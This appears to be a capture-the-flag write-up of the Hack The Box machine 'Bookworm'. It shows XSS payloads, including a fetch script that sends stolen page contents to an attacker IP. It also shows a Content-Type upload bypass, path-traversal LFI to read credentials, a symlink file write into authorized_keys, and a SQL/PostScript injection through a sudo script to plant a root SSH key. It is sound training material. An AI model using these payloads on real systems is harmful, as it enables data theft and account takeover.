$ nmap -p- --min-rate 3000 10.129.90.108
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 10:13 EDT
Nmap scan report for 10.129.90.108
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Just two ports open. We have to add bookworm.htb to our /etc/hosts file to access the website.
Bookworm -> Find XSS
Port 80 was an online bookstore site with books for sale:
We can view the shop to find some books on sale:
Proxying the traffic through Burpsuite reveals that this is an Express based website:
The website allows us to create a user, and afterwards we can access the cart and checkout functions. Immediately after adding my book, we can see that the website updates to show that:
I looked through the traffic and refreshed the page. This time, the Updates included another user who was adding books to their basket:
So this is the first indication that there was another user present on the site and interacting with the shop. Within the checkout function, there was an Edit Note function available.
I took note of the 'download books' option since it was removed. There was mention of 'old orders still being downloadable', which might come in handy later. Since there was a user also accessing the site, I figured that XSS might be the exploit path here, so I entered a basic payload:
<img src="http://10.10.14.34/?callback">
After updating the note and completing the checkout, I received a callback on our HTTP server.
So XSS was possible, but right now it's only viewable by us and we need to somehow figure out how to inject this into the cart of others. I took a look at the POST request made, and found that a number was used as the cart identifier:
On a side note, I noticed that there were different usernames for the bot each time I refreshed the page:
Examining the page source reveals that there was some number associated with the updates:
This number incremented itself each time, and it was likely that this is the same number used for the cart ID, giving us an opportunity to inject XSS payloads into the cart of the bot. Apart from the checkout, viewing the user profile reveals that we can upload an avatar to the site:
We can try uploading some basic Javascript files (since this was likely an XSS-based initial access). After some trial and error, I found that by changing the Content-Type header to image/jpeg, we can bypass the content check and upload whatever we want.
Profile XSS -> Steal Page
After that initial recon, we can try to inject payloads into the notes of the bot's cart.
POST /basket/2061/edit HTTP/1.1Host:bookworm.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:79Origin:http://bookworm.htbConnection:closeReferer:http://bookworm.htb/basketCookie: session=eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6InRlc3QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==; session.sig=eNrnjBHPf1vWoX6kzmk2xB4dWdM
Upgrade-Insecure-Requests:1quantity=1¬e=%3Cimg+src%3D%22http%3A%2F%2F10.10.14.34%2F%3Fbotcallback%22%3E
This payload works in getting a callback from the machine itself.
Interestingly, when we send the above request, we would get a base64 encoded cookie which indicates that our avatar is loaded, which might be our XSS point:
We can test this first by updating our profile picture with the following request:
POST /profile/avatar HTTP/1.1Host:bookworm.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:multipart/form-data; boundary=---------------------------7893868742127952433304288570Content-Length:262Origin:http://bookworm.htbConnection:closeReferer:http://bookworm.htb/profileCookie: session=eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6InRlc3QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==; session.sig=eNrnjBHPf1vWoX6kzmk2xB4dWdM
Upgrade-Insecure-Requests:1-----------------------------7893868742127952433304288570Content-Disposition:form-data; name="avatar"; filename="test.jpg"Content-Type:image/jpegfetch("http://10.10.14.34/?profilebotcallback")-----------------------------7893868742127952433304288570--
When we refresh our /profile page, we can see that our image is located at a certain static directory:
After waiting for a bit, we would eventually get a callback using this method:
There was mention of 'old orders' being used, so I wanted to see if we could steal page contents via XSS. The stealing of cookies won't work in this case since the Set-Cookie header had the httponly value, so stealing pages is the only other method.
To do this, we can create a Flask server to redirect the bot to other pages. The /profile endpoint had an Order History record at the bottom:
So the exploit path is to redirect the bot to their own /profile directory and view their old orders via injecting Javascript code into our profile picture.
The above payload doesn't work, but we can at least confirm that page stealing is the way to go:
I took a break from this machine while waiting for it to be hosted on the SG VPN for stability (so that's why the IP addresses are different later). Afterwards, I edited the Javascript code a bit to wait for the page to load before sending me the contents:
functionstealpage(url) {var attacker ="http://10.10.14.13/?url="+encodeURIComponent(url);fetch(url).then(async res => {fetch(attacker +"&data="+btoa(awaitres.text())) });}stealpage("http://bookworm.htb/profile")
Afterwards, I would get a callback with a huge base64 encoded string at the back:
The first thing we notice is that there are indeed older orders present on the site. We can attempt to view one of the orders, and I chose to steal /order/18. However, it seems that the order number changes each time because the bot uses a different user each time.
Instead, we can add to our Javascript payload by scraping the possible endpoints from the page, visiting them and sending the page contents back to our webserver:
Within each /order endpoint, there's the option to download the book. We can test for vulnerabilities like RCE and LFI in this.
XSS LFI -> User Creds
I tested for LFI first, and this can be done by editing our Javascript code to visit the /order page and then visit /download/<NUMBER>?bookIds=../../../../../../etc/passwd. We would also need to have a handler that would convert it to a PDF file somehow.
This would give us a huge base64 string, which can be decoded into a .zip file and unzipped to find the contents of /etc/passwd.
This confirms that we have LFI on the machine, and we can proceed to enumerate /proc/self/cmdline to view the active processes on the machine (since we don't have anything else to read):
$ cat cmdline
/usr/bin/nodeindex.js
We can then read the /proc/self/cwd/index.js to find the file being run:
It seems that this requires a database.js file to be run. So, we can read /proc/self/cwd/database.js next, and within it we can find user credentials!
Then, we can ssh in using frank as the username.
Privilege Escalation
frank does not have any sudo privileges, and there's another user neil present on the machine:
frank@bookworm:/home$ ll
total 16
drwxr-xr-x 4 root root 4096 May 3 15:34 ./
drwxr-xr-x 20 root root 4096 May 3 15:34 ../
drwxr-xr-x 5 frank frank 4096 May 24 12:20 frank/
drwxr-xr-x 6 neil neil 4096 May 3 15:34 neil/
Calibre -> File Write
I ran a pspy64 scan to find out what processes are being run by neil. Within this, I found lots of Google Chrome related processes:
Not too sure if this is intentional, but I do know there are Google Chrome exploits present. Anyway, within the user neil home directory, I found some interesting files:
frank@bookworm:/home/neil$ ls
converter
frank@bookworm:/home/neil$ cd converter/
frank@bookworm:/home/neil/converter$ ll
total 104
drwxr-xr-x 7 root root 4096 May 3 15:34 ./
drwxr-xr-x 6 neil neil 4096 May 3 15:34 ../
drwxr-xr-x 8 root root 4096 May 3 15:34 calibre/
-rwxr-xr-x 1 root root 1658 Feb 1 09:13 index.js*
drwxr-xr-x 96 root root 4096 May 3 15:34 node_modules/
drwxrwxr-x 2 root neil 4096 May 3 15:34 output/
-rwxr-xr-x 1 root root 438 Jan 30 19:46 package.json*
-rwxr-xr-x 1 root root 68895 Jan 30 19:46 package-lock.json*
drwxrwxr-x 2 root neil 4096 May 3 15:34 processing/
drwxr-xr-x 2 root root 4096 May 3 15:34 templates/
frank@bookworm:/home/neil/converter/calibre$ ./calibre --version
calibre (calibre 6.11)
There was something called calibre present on the machine. Also, port 3001 was listening on the machine:
frank@bookworm:/home/neil/converter$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:36767 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
We can forward this using chisel and view the site:
I found the documentation for this application here:
Here's the initial response intercepted in Burp:
I played around with the outputType variable and tried LFI again, and it worked:
Within the machine, it creates this file with neil permissions:
This means we have an arbitrary file write as the neil user, and we can try to drop our SSH public key into his authorized_keys folder. I tried to directly write it to that folder but it doesn't work, and I think we have to maintain the .txt extension.
As such, we can create a symlink between testkey.txt and the authorized_keys folder using:
ln -s /home/neil/.ssh/authorized_keys key.txt
Afterwards, we can send this request to add our SSH key:
POST /convert HTTP/1.1Host:127.0.0.1:3001User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:multipart/form-data; boundary=---------------------------292034445114065400543811074751Content-Length:791Origin:http://127.0.0.1:3001Connection:closeReferer:http://127.0.0.1:3001/Cookie:session=eyJmbGFzaE1lc3NhZ2UiOnt9fQ==; session.sig=unIt4GDQSCUqkXd9r4WU_geYMnIUpgrade-Insecure-Requests:1Sec-Fetch-Dest:documentSec-Fetch-Mode:navigateSec-Fetch-Site:same-originSec-Fetch-User:?1-----------------------------292034445114065400543811074751Content-Disposition:form-data; name="convertFile"; filename="key.html"Content-Type:application/vnd.ms-publisher<KEY>-----------------------------292034445114065400543811074751Content-Disposition: form-data; name="outputType"../../../../../../../tmp/testssh/key.txt-----------------------------292034445114065400543811074751--
Then we can ssh in as neil.
SQL PostScript Injection
The neil user can run genlabel on the machine:
neil@bookworm:~$ sudo -l
Matching Defaults entries for neil on bookworm:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User neil may run the following commands on bookworm:
(ALL) NOPASSWD: /usr/local/bin/genlabel
We can try to run the command and see how it takes an orderId parameter:
neil@bookworm:~$ sudo /usr/local/bin/genlabel
Usage: genlabel [orderId]
neil@bookworm:~$ sudo /usr/local/bin/genlabel 1
Fetching order...
Generating PostScript file...
Generating PDF (until the printer gets fixed...)
Documents available in /tmp/tmp6e6lsyfwprintgen
We can take a look at the executable, which happens to be a Python script:
neil@bookworm:~$ cat /usr/local/bin/genlabel#!/usr/bin/env python3import mysql.connectorimport sysimport tempfileimport osimport subprocesswithopen("/usr/local/labelgeneration/dbcreds.txt", "r")as cred_file: db_password = cred_file.read().strip()cnx = mysql.connector.connect(user='bookworm', password=db_password, host='127.0.0.1', database='bookworm')iflen(sys.argv)!=2:print("Usage: genlabel [orderId]")exit()try: cursor = cnx.cursor() query = "SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = %s" % sys.argv[1]
cursor.execute(query) temp_dir = tempfile.mkdtemp("printgen") postscript_output = os.path.join(temp_dir, "output.ps")# Temporary until our virtual printer gets fixed pdf_output = os.path.join(temp_dir, "output.pdf")withopen("/usr/local/labelgeneration/template.ps", "r")as postscript_file: file_content = postscript_file.read() generated_ps =""print("Fetching order...")for (name, address_line_1, address_line_2, town, postcode, order_id, user_id) in cursor: file_content = file_content.replace("NAME", name)\.replace("ADDRESSLINE1", address_line_1)\.replace("ADDRESSLINE2", address_line_2)\.replace("TOWN", town)\.replace("POSTCODE", postcode)\.replace("ORDER_ID", str(order_id))\.replace("USER_ID", str(user_id))print("Generating PostScript file...")withopen(postscript_output, "w")as postscript_file: postscript_file.write(file_content)print("Generating PDF (until the printer gets fixed...)") output = subprocess.check_output(["ps2pdf", "-dNOSAFER", "-sPAPERSIZE=a4", postscript_output, pdf_output])if output !=b"":print("Failed to convert to PDF")print(output.decode())print("Documents available in", temp_dir) os.chmod(postscript_output, 0o644) os.chmod(pdf_output, 0o644) os.chmod(temp_dir, 0o755)# Currently waiting for third party to enable HTTP requests for our on-prem printer# response = requests.post("http://printer.bookworm-internal.htb", files={"file": open(postscript_output)})exceptExceptionas e:print("Something went wrong!")print(e)cnx.close()
This uses the postscript_file.write to first write the file, and then it usesps2pdf to convert it to a PDF. The parameter taken by the user is not sanitised, making this vulnerable to SQL PostScript Injection actually.
We can find out more about writing PostScript here by Googling PostScript write files:
The idea here is to somehow write some PostScript code to put our own SSH key into the root user's authorized_keys folder. The user input is the very last parameter in the SQL query, which we can invalidate using this:
"0 UNION SELECT ')
This would escape the query and then end it. Then, we can append our PostScript exploit to the back of that:
Afterwards, we have to set the rest of the SQL values to prevent errors from happening. The final command is:
sudo/usr/local/bin/genlabel"0 union select') show\n/outfile1(/root/.ssh/authorized_keys) (w) file def\noutfile1 (KEY)writestring\noutfile1 closefile\n(a' as name, '1' as addressLine1, '1' asaddressLine2, '1' as town, '1' as postcode, 0 as orderId, 1 as userId;"
Then, we can just ssh into root from our kali machine.
